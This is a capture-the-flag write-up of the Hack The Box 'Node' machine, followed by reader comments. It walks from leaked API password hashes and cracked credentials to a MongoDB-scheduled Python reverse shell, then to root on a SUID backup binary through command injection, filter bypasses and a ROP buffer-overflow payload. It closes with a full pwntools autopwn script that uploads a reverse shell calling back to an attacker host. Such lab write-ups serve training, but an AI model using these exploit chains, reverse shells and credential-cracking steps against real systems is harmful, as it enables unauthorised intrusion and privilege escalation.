Node write-up by Alamot

Enumeration

Port scanning

We scan the full range of TCP ports using masscan:

$ sudo masscan -e tun0 -p0-65535 --max-rate 500 10.10.10.58

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-02-28 16:09:43 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 3000/tcp on 10.10.10.58                                   
Discovered open port 22/tcp on 10.10.10.58 

We found TCP ports 22 and 3000 open. Let’s explore them using nmap:

$ sudo nmap -A -p22,3000 10.10.10.58

Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-28 18:13 EET
Nmap scan report for 10.10.10.58
Host is up (0.085s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (EdDSA)
3000/tcp open  http    Node.js Express framework
| hadoop-datanode-info: 
|_  Logs: /login
|_hadoop-jobtracker-info: 
| hadoop-tasktracker-info: 
|_  Logs: /login
|_hbase-master-info: 
|_http-title: MyPlace
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.8 (91%), Linux 3.2 - 4.8 (91%), Crestron XPanel control system (89%), Linux 3.18 (88%), Linux 3.16 (88%), HP P2000 G3 NAS device (86%), ASUS RT-N56U WAP (Linux 3.4) (86%), Linux 3.1 (86%), Linux 3.2 (86%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Discovering directories and files

It’s hard to brute force directories and files on the website at port 3000 because it returns the same response (status code 200) for nonexistent pages. But, if we surf this site using a proxy (like those of burpsuite or zaproxy) we intercept some very interesting requests:

GET /partials/home.html
GET /api/users/latest
POST /api/session/authenticate

Exploitation

Getting mark user

Let’s visit http://10.10.10.58:3000/api/users/latest

[{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]

Hmmm. None of those users is an admin. Let’s visit http://10.10.10.58:3000/api/users/

[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]

Bingo! An additional username has appeared and he is an admin. The password field seems to be a hash. Let’s find what type of hash it is:

$ hashid dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af

Analyzing 'dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af'
[+] Snefru-256 
[+] SHA-256 
[+] RIPEMD-256 
[+] Haval-256 
[+] GOST R 34.11-94 
[+] GOST CryptoPro S-Box 
[+] SHA3-256 
[+] Skein-256 
[+] Skein-512(256) 

Let’s crack (i.e. reverse) this hash using hashcat:

$ hashcat -h | grep SHA-256
   1400 | SHA-256                                          | Raw Hash
   1411 | SSHA-256(Base64), LDAP {SSHA256}                 | HTTP, SMTP, LDAP Server

$ hashcat -a0 -m 1400 dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af /usr/share/dict/rockyou.txt 
hashcat (v3.5.0) starting...

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Precompute-Init
* Precompute-Merkle-Demgard
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

Dictionary cache hit:
* Filename..: /usr/share/dict/rockyou.txt
* Passwords.: 14343297
* Bytes.....: 139921504
* Keyspace..: 14343297

dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af:manchester

We can use John the Ripper too:

$ echo dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af > hash.txt

$ john --format=Raw-SHA256 --wordlist=/usr/share/dict/rockyou.txt hash.txt

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
manchester       (?)
1g 0:00:00:00 DONE (2018-02-28 19:16) 33.33g/s 1092Kp/s 1092Kc/s 1092KC/s alamot..eatme1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

$ john --show hash.txt
0 password hashes cracked, 1 left

For some reason, the “–show” option doesn’t work correctly in my case. Let’s just check the .pot file:

$ cat /home/alamot/.john/john.pot
$SHA256$dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af:manchester

Login to the website using the credentials myP14ceAdm1nAcc0uNT:manchester and download the backup file. The downloading process is very unstable and may be interrupted. Make sure you download the full file (3.3MB). Unfortunately, resume is not supported. You can use wget which automatically makes multiple tries to download the file correctly (you have to provide the cookie value that you get after a successfully login).

$ wget --header "Cookie: connect.sid=s%3AuGlwY_gicWrNb2ESIiDzUPn9TTi-Dstj.5E1wGaKmQ7QgeS%2BC5%2FfZ3mjy8DCwSdySPOv4rRvvZfU" http://10.10.10.58:3000/api/admin/backup 

The file is based64-encoded. Let’s decode it:

$ cat myplace.backup | base64 -d > backup.zip

The zip file is password protected. Let’s crack it using fcrackzip or zipcracker-ng:

$ fcrackzip -uDp /usr/share/dict/rockyou.txt backup.zip
PASSWORD FOUND!!!!: pw == magicword

$ zipcracker-ng -f backup.zip -w /usr/share/dict/rockyou.txt 
 ~ ZIP Cracker-ng v2015.02-03 ~
 - File......: backup.zip
 * Chosen one: ...ce/node_modules/express/node_modules/qs/.eslintignore (5 bytes)
 - Encryption: standard (traditional PKWARE)
 - Method....: stored
 - Generator.: rockyou.txt
 . Worked at ~ 4782K pwd/sec for ~ 14M tries.
 + Password found: magicword
   HEXA[ 6D 61 67 69 63 77 6F 72 64 ]
 ^ Ex(c)iting.

If we explore the decompressed files from backup.zip, we find some credentials inside var/www/myplace/app.js:

$ head -n12 var/www/myplace/app.js

const express     = require('express');
const session     = require('express-session');
const bodyParser  = require('body-parser');
const crypto      = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const path        = require("path");
const spawn        = require('child_process').spawn;
const app         = express();
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

Let’s try those credentials with ssh:

ssh mark@10.10.10.58
Password: 5AYRft73VtFpc84k

mark@node:~$ 

Getting tom user

Let’s find if user tom is running anything:

$ ps aux | grep tom
tom       1213  3.2  9.0 1055196 68812 ?       Ssl  05:02   8:20 /usr/bin/node /var/www/myplace/app.js
tom       1220  0.0  4.9 1008568 37896 ?       Ssl  05:02   0:04 /usr/bin/node /var/scheduler/app.js
mark     18678  0.0  0.1  14228   940 pts/4    S+   09:21   0:00 grep --color=auto tom

The file /var/scheduler/app.js seems interesting:

$ cat /var/scheduler/app.js
const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});

In MongoDB, databases hold collections of documents i.e. MongoDB stores documents in collections. Collections are analogous to tables in relational databases. We see that /var/scheduler/app.js connects to a mondodb database named “scheduler”, searches for documents in a collection named “tasks” and executes their “cmd” field. Let’s connect to mongodb and insert a new document in the tasks collection. The command we want to be executed by user tom will be in the “cmd” field.

mark@node: mongo localhost:27017/scheduler -u mark -p 5AYRft73VtFpc84k
mark@node: > db.tasks.insertOne({cmd:"/usr/bin/python2 /dev/shm/.a/shell.py"});
{
    "acknowledged" : true,
    "insertedId" : ObjectId("5a97cc23089575233c6082cc")
}
>

On your side:

$ socat file:`tty`,echo=0,raw tcp4-listen:60000

or simply:

$ nc -lvp 60000
nc: listening on :: 60000 ...
nc: connect to 10.10.15.154 60000 from 10.10.10.58 (10.10.10.58) 50488 [50488]
nc: using stream socket
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

tom@node:/$ 

Getting root

Let’s examine /var/www/myplace/app.js:

tom@node:/$ cat /var/www/myplace/app.js | grep backup
cat /var/www/myplace/app.js | grep backup
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
  app.get('/api/admin/backup', function (req, res) {
      var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
      var backup = '';
        res.header("Content-Disposition", "attachment; filename=myplace.backup");
        res.send(backup);
        backup += chunk;

Note those lines:

const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
...
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);

Let’s check the permissions of /usr/local/bin/backup:

tom@node:/$ ls -al /usr/local/bin/backup
ls -al /usr/local/bin/backup
-rwsr-xr-- 1 root admin 16484 Sep  3 11:30 /usr/local/bin/backup

Interesting. It’s a root-owned SUID executable! I bet we can find many ways to exploit this backup app. Let’s explore it using ltrace:

tom@node:/$ ltrace /usr/local/bin/backup -q 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110 /tmp/a 
__libc_start_main(0x80489fd, 4, 0xff84f0a4, 0x80492c0 <unfinished ...>
geteuid()                                                              = 1000
setuid(1000)                                                           = 0
strcmp("-q", "-q")                                                     = 0
strncpy(0xff84ef68, "3de811f4ab2b7543eaf45df611c2dd25"..., 100)        = 0xff84ef68
strcpy(0xff84ef51, "/")                                                = 0xff84ef51
strcpy(0xff84ef5d, "/")                                                = 0xff84ef5d
...
strcat("/etc/myplace/key", "s")                                        = "/etc/myplace/keys"
...
fopen("/etc/myplace/keys", "r")                                        = 0x9344008
fgets("a01a6aa5aaf1d7729f35c8278daae30f"..., 1000, 0x9344008)          = 0xff84eaff
strcspn("a01a6aa5aaf1d7729f35c8278daae30f"..., "\n")                   = 64
strcmp("3de811f4ab2b7543eaf45df611c2dd25"..., "a01a6aa5aaf1d7729f35c8278daae30f"...) = -1
fgets("45fac180e9eee72f4fd2d9386ea7033e"..., 1000, 0x9344008)          = 0xff84eaff
strcspn("45fac180e9eee72f4fd2d9386ea7033e"..., "\n")                   = 64
strcmp("3de811f4ab2b7543eaf45df611c2dd25"..., "45fac180e9eee72f4fd2d9386ea7033e"...) = -1
fgets("3de811f4ab2b7543eaf45df611c2dd25"..., 1000, 0x9344008)          = 0xff84eaff
strcspn("3de811f4ab2b7543eaf45df611c2dd25"..., "\n")                   = 64
strcmp("3de811f4ab2b7543eaf45df611c2dd25"..., "3de811f4ab2b7543eaf45df611c2dd25"...) = 0
fgets(nil, 1000, 0x9344008)                                            = 0
strstr("/tmp/a", "..")                                             = nil
strstr("/tmp/a", "/root")                                          = nil
strchr("/tmp/a", ';')                                              = nil
strchr("/tmp/a", '&')                                              = nil
strchr("/tmp/a", '`')                                              = nil
strchr("/tmp/a", '$')                                              = nil
strchr("/tmp/a", '|')   q                                           = nil
strstr("/tmp/a", "//")                                             = nil
strcmp("/tmp/a", "/")                                              = 1
strstr("/tmp/a", "/etc")                                           = nil
strcpy(0xff84e90b, "/tmp/a")                                       = 0xff84e90b
getpid()                                                               = 25982
time(0)                                                                = 1508024709
clock(0, 0, 0, 0)                                                      = 624
srand(0x4cfc17f4, 0x8bb32348, 0x4cfc17f4, 0x804918c)                   = 0
rand(0, 0, 0, 0)                                                       = 0x7968d049
sprintf("/tmp/.backup_2036912201", "/tmp/.backup_%i", 2036912201)      = 23
sprintf("/usr/bin/zip -r -P magicword /tm"..., "/usr/bin/zip -r -P magicword %s "..., "/tmp/.backup_2036912201", "/tmp/a") = 75
system("/usr/bin/zip -r -P magicword /tm"... <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                 = 0
access("/tmp/.backup_2036912201", 0)                                   = 0
sprintf("/usr/bin/base64 -w0 /tmp/.backup"..., "/usr/bin/base64 -w0 %s", "/tmp/.backup_2036912201") = 43
system("/usr/bin/base64 -w0 /tmp/.backup"...UEsDBBQACQAIAH<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                 = 0
remove("/tmp/.backup_2036912201")                                      = 0
fclose(0x9344008)            

We see that the directory is zipped using “magicword” as password and then the zip file is getting base64-encoded. Moreover, we notice that there are many filters in place that use strchr() or strstr(). Let’s see if we can bypass them.

1. Using symbolic links:

tom@node:/$ mkdir -p /dev/shm/test1/test2
tom@node:/$ ln -s /root/root.txt /dev/shm/test1/test2/r

tom@node:/$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /dev/shm/test1/test2/r | base64 -d > /dev/shm/.a/mybackup.zip

tom@node:/$ unzip /dev/shm/.a/mybackup.zip
password: magicword

2. Using special characters:

Backslash escape:

tom@node:/$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "/roo\t/roo\t.txt" | base64 -d > /dev/shm/.a/mybackup.zip

tom@node:/$ unzip /dev/shm/.a/mybackup.zip
password: magicword

Wildcard expansion:

tom@node:/$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "/r???/r???.txt" | base64 -d > /dev/shm/.a/mybackup.zip

tom@node:/$ unzip /dev/shm/.a/mybackup.zip
password: magicword

Brace expansion:

tom@node:/$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "/roo[t]/roo[t].txt" | base64 -d > /dev/shm/.a/mybackup.zip

tom@node:/$ unzip /dev/shm/.a/mybackup.zip
password: magicword

3. Using multiline command injection

We can use a combo of $(), printf and newlines to inject commands (we don’t see the output of the last chained command because internally there is a redirection to > /dev/null):

tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(printf '\n/bin/sh\necho OK')"

zip error: Nothing to do! (/tmp/.backup_1942371757)
# whoami
root

The $’…’ syntax works too. It creates a string, with backslash-escaped characters replaced with special characters - like “\n” for newline :

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $'\n /bin/sh \n echo OK'

zip error: Nothing to do! (/tmp/.backup_1942371757)
# whoami
root

4. Using buffer overflow (the smart way)

The backup app suffers from buffer overflow:

$ /usr/local/bin/backup qq 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $(python2 -c 'print("A"*507)')
[!] The target path doesn't exist

$ /usr/local/bin/backup qq 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $(python2 -c 'print("A"*508)')
Segmentation fault (core dumped)

You can download the backup app and explore it using radare2 (the app needs also the file /etc/myplace/keys in the proper place):

$ r2 -d ./backup qq 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $(python2 -c 'print("A"*512)')

[0xf7fb09c0]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x00000223 code=1 ret=0

[0xf7e029ee]> dr
eax = 0x00000000
ebx = 0x08049ed0
ecx = 0x00000000
edx = 0xf7f48870
esi = 0x00000004
edi = 0x00000223
esp = 0xffae2be8
ebp = 0x41414141
eip = 0xf7e029ee
eflags = 0x00010246
oeax = 0xffffffff

By experimenting we see that:

  1. Size 508 doesn’t overwrite ebp
  2. Size 512 overwrites ebp (ebp = 0x41414141)
  3. Size 516 overwrites ebp and eip (eip 0x41414141)

Therefore we need an overhead of 512 bytes for our payload to overwrite the “return address” (i.e. the eip register).


Let’s see if NX is present:

$ r2 backup
[0x08048780]> i~nx 
nx       true

Now, let’s check if ASLR is enabled on the box:

$ cat /proc/sys/kernel/randomize_va_space
2

The number 2 means full randomization. Therefore, if we use a RET2LIBC approach, the addresses will be different every time and we will have to use brute force to catch e.g. the correct libc base address. But we can use a different approach named RET2GOT (or RET2SELF as I prefer to call it). This approach uses only local elements/offsets inside the executable. Linux executables use GOT/PLT tables to automatically match the internal local offsets with the external library addresses. In other words, those addresses that aren’t known in the time of linking are resolved by the dynamic linker at run time. You can read more on this subject here https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html and here Bypassing ASLR – Part I – sploitF-U-N


The backup app makes internally use of the system() function but we lack something to call using this function. Ideally, we would like a null-terminated string like “/bin/sh”. But we don’t have exactly this. Let’s check what we have:

$ strings /usr/local/bin/backup
...
/root
/etc
/tmp/.backup_%i
/usr/bin/zip -r -P magicword %s %s > /dev/null
/usr/bin/base64 -w0 %s
...

The string “/tmp/.backup_%i” looks promising. As a matter of fact, it’s a perfectly legal linux name and we can write into /tmp! :smiley:


Let’s use radare2 to get the addresses in order to construct our RET2SELF payload (later on I demonstrate the use of pwntools in a script where those addresses are obtained automatically):

$ r2 ./backup  ./backup
> aa
> fs imports; f
...
0x080486a0 6 sym.imp.system
...
0x080486c0 6 sym.imp.exit
...

> fs strings; f
...
0x08049ed5 16 str._tmp_.backup__i
...

Therefore, our RET2SELF payload will be like this:

0x080486a0 system()
0x080486c0 exit()
0x08049ed5 /tmp/.backup_%i (the argument for system)

Now, use nano to make a file shell.c and copy/paste this content (you can use mark ssh shell if your shell doesn’t support nano):

$ nano shell.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
    setuid(0);
    system("/bin/sh");
    return 0;
}

Then compile it on the box:

$ gcc shell.c -o shell

Copy it to /tmp/.backup_%i (and make sure it’s executable):

$ cp shell /tmp/.backup_%i && chmod +x /tmp/.backup_%i

It’s high time to get root:

tom@node:/$ /usr/local/bin/backup qq 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $(python2 -c 'print("A"*512+"\xa0\x86\x04\x08"+"\xc0\x86\x04\x08"+"\xd5\x9e\x04\x08")')
# whoami
root

or

tom@node:/$ /usr/local/bin/backup qq 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "/roo\t/roo\t.txt $(python2 -c 'print("A"*495+"\xa0\x86\x04\x08"+"\xc0\x86\x04\x08"+"\xd5\x9e\x04\x08")')"
# whoami
root

5. Using buffer overflow (the brute-force way)

We can also use brute force to catch the proper libc base address (this is exactly the same way we used for the privilege escalation on the “October” box):

#!/usr/bin/env python2
import struct
from subprocess import call

libc_base_addr = 0xf752c000      # ldd /usr/local/bin/backup (choose an average value)
exit_off = 0x0002e7b0            # readelf -s /lib32/libc.so.6 | grep exit
system_off = 0x0003a940          # readelf -s /lib32/libc.so.6 | grep system
system_addr = libc_base_addr + system_off
exit_addr = libc_base_addr + exit_off
system_arg = libc_base_addr + 0x15900b # strings -a -t x /lib32/libc.so.6 | grep '/bin/sh'

#endianess convertion
def conv(num):
    return struct.pack("<I",num)

# Junk + system + exit + system_arg
buf = "A" * 512
buf += conv(system_addr)
buf += conv(exit_addr)
buf += conv(system_arg)

print "Calling vulnerable program"

i = 0
while (i < 256):
    print "Number of tries: %d" %i
    i += 1
    ret = call(["./backup", "qq", "45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474", buf])
    if (not ret):
        break
    else:
        print "Exploit failed"

6. Writing files as root

One last interesting note. If we set umask to 0 we can create/write files as root but writable by tom too:

tom@node:/$ umask 0 
tom@node:/$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "/roo\t/roo\t.txt > /e\tc/test"

tom@node:/$ ls -al /etc/test
-rw-rw-rw-  1 root tom       0 Oct 15 12:48 test

Note that you cannot use this trick anymore to write cron jobs or ssh keys because nowadays -due to security mitigations- both require/check for stricter permissions.

Autopwning Node

I wrote an autopwn script for Node (don’t forget to set LHOST to the proper value):

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import time
from pwn import *
from subprocess import call


DEBUG = False
RHOST = "10.10.10.58"
RPORT = 22
RPATH = "/dev/shm/.a/"
LHOST = "10.10.14.107"
LPORT = 60002

if DEBUG:
    context.log_level = 'debug'
else:
    context.log_level = 'info'


# Write and compile rootshell.c
with open("rootshell.c", "wt") as f:
    f.write("""#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
    setuid(0);
    system("/bin/sh");
    return 0;
}
""")
    f.close()

if call(["gcc", "rootshell.c", "-o", "rootshell"]) == 0:
    log.info("Compilation of rootshell was successful")


# Connect to ssh and download /usr/local/bin/backup
mark_shell = ssh(host=RHOST, port=RPORT, user='mark', password='5AYRft73VtFpc84k')
log.info("User: "+mark_shell['whoami'])
mark_shell.download_file("/usr/local/bin/backup",local="./backup")


# Make payload
elf = ELF('./backup')
rop = ROP(elf)
rop.system(next(elf.search('/tmp/.backup')))
rop.exit()
log.info(rop.dump())
payload = "A"*(512) + str(rop)


# Upload python reverse shell 
log.info(mark_shell["mkdir -p "+RPATH])
mark_shell.upload_data("import os, pty, socket\n" 
"lhost = '" + LHOST + "'\n"
"lport =  " + str(LPORT) + "\n"
"\n"
"def main():\n"
"    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
"    s.connect((lhost, lport))\n"
"    os.dup2(s.fileno(),0)\n"
"    os.dup2(s.fileno(),1)\n"
"    os.dup2(s.fileno(),2)\n"
"    os.putenv('HISTFILE','/dev/null')\n"
"    pty.spawn('/bin/bash')\n"
"    s.close()\n"
"\n"
"if __name__ == '__main__':\n"
"    main()\n", remote=RPATH+"shell.py")


# Upload payload and rootshell
mark_shell.upload_data(payload,remote=RPATH+"pld")
mark_shell.upload_file("rootshell",RPATH+"rootshell")


# Add python reverse shell task to mongodb 
mongodb = mark_shell.run("mongo localhost:27017/scheduler -u mark -p 5AYRft73VtFpc84k")
mongodb.recv()
mongodb.sendline("db.tasks.insertOne({cmd:'/usr/bin/python2 /dev/shm/.a/shell.py'});")


# Get root
tom_shell = listen(LPORT).wait_for_connection()
tom_shell.clean(0)
tom_shell.sendline("cp "+RPATH+"rootshell /tmp/.backup_%i")
tom_shell.recv()
tom_shell.sendline("chmod +x /tmp/.backup_%i")
tom_shell.recv()
tom_shell.sendline("/usr/local/bin/backup qq 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $(cat "+RPATH+"pld)")
tom_shell.interactive()

You can find my scripts here: code-snippets/hacking/HTB/Node at master · Alamot/code-snippets · GitHub

Awesome … Great Write up …

Thank you Alamot for this interesting write up…

@alamot awesome work as always

I am a newbie. But I really like and shocked by your write up…

Great write up man, learned a lot from it. Thanks for share